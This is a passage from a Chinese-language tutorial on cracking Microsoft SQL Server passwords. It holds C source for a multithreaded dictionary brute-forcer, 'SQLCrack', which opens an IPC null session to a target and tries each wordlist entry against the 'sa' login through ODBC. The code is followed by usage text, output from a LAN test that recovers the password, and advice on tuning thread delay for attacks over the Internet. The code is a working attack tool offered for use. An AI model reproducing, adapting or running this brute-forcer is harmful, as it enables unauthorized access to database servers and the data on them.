//创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
return 0;
}
//printf("henv..");
//设置ODBC版本环境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("ODBC ver..");
//创建连接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("hdbc..");
//连接数据源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
//printf("conn..");
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
//连接失败,函数终止
//printf("\nCouldn''t connect to %s MSSQL server.\n",target);
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//连接远程MSSQL Server数据库成功
Cracked=TRUE;
strcpy(passwd,pwd);
//puts(szBuffer);
//显示连接远程数据库的字符串
//断开连接
SQLDisconnect(hdbc);
//printf("disconn..");
//释放连接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
//printf("free hdbc..");
//释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
//printf("free henv..\n");
return 0;
}
//
//程序入口点函数:main
//
int main(int argc,char **argv)
{
HANDLE hThread;//线程句柄
DWORD dwThreadId;
int i=0,err=0,
SleepTime;//每开一个线程后的挂起时间
clock_t start,end;//程序运行的起始和结束时间
double duration;
//检查用户输入参数,参数不足调用函数usage显示帮助信息并退出程序
if(argc!=5)
{
usage();
return 1;
}
//取得并检查用户输入的挂起时间
SleepTime=atoi(argv[4]);
if((SleepTime〉1000) || (SleepTime〈20))
{
usage();
return 1;
}
//取得目标地址,用户名
strcpy(target,argv[1]);
strcpy(UserName,argv[2]);
//读取字典中的单词到内存中
if(ReadDic(argv[3])!=0)
return 1;
//for(i=0;i〈total;i++)
// printf("[%s]--〉%d",dict[i],strlen(dict[i]));
//与目标机器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan''t built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
//开始计时
start=clock();
//开始建立线程探测密码
for(i=0;i〈total;i++)
{
//探测密码成功后跳出此循环
if(Cracked==TRUE)
break;
//显示进度信息
printf("\n[%d/%d] %s -〉 %s -〉 %s",i+1,total,target,UserName,dict[i]);
//创建线程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
if(hThread==NULL)
{
err++;
if(err==50)
{
MessageBox(NULL,"thread error","error",MB_OK);
break;
}
}
CloseHandle(hThread);
//每开一个线程挂起一段时间,确保探测结果的正确性和系统的稳定
Sleep(SleepTime);
}
//断开与目标机器的IPC Session
DelIPC(target);
//挂起一段时间,等待所有线程结束
Sleep(1000);
//探测密码成功后回显信息
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
//记时结束
end=clock();
//转换时间格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
//显示所用时间
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
以上程序在windows2000,vc++6.0环境下编译通过。以下我在LAN中测试此程序时的一些情况:
c:\〉 SQLCrack.exe
Power by analyzer〈inmiao@163.com〉
http://www.infocn.com
Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉
Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50
c:\〉 SQLCrack.exe 192.0.0.81 sa c:\password.Dic 20
Built IPC NULL Session success!
[1/1870] 192.0.0.81 -〉 sa -〉 !@#$%
[2/1870] 192.0.0.81 -〉 sa -〉 !@#$%^
[3/1870] 192.0.0.81 -〉 sa -〉 !@#$%^&
[4/1870] 192.0.0.81 -〉 sa -〉 !@#$%^&*
[5/1870] 192.0.0.81 -〉 sa -〉 *
[6/1870] 192.0.0.81 -〉 sa -〉 000000
[7/1870] 192.0.0.81 -〉 sa -〉 00000000
[8/1870] 192.0.0.81 -〉 sa -〉 0007
此处略去输出结果若干……
[1827/1870] 192.0.0.81 -〉 sa -〉 winter
[1828/1870] 192.0.0.81 -〉 sa -〉 wisdom
[1829/1870] 192.0.0.81 -〉 sa -〉 wizard
[1830/1870] 192.0.0.81 -〉 sa -〉 wolf
[1831/1870] 192.0.0.81 -〉 sa -〉 wolf1
[1832/1870] 192.0.0.81 -〉 sa -〉 loveyou
Success!192.0.0.81 SQL Server User [sa] passwd is [loveyou].
Complete.Use 76.1 seconds.
C:\〉
用时一分钟多一点,探测密码1800多次,最终探测成功!另外,因为在LAN中速度比较快,所以我在运行程序时,输入的SleepTime为20,意思是每隔20毫秒开一个线程。在Internet做测试的时候,请根据网速自行调准SleepTime,建议SleepTime设置为200左右,如果SleepTime设置较小,而网速不快的话,容易出现漏报现象,那就探测不出正确的密码了。
黑客是如何破解MS SQL SERCVER密码的
0
相关文章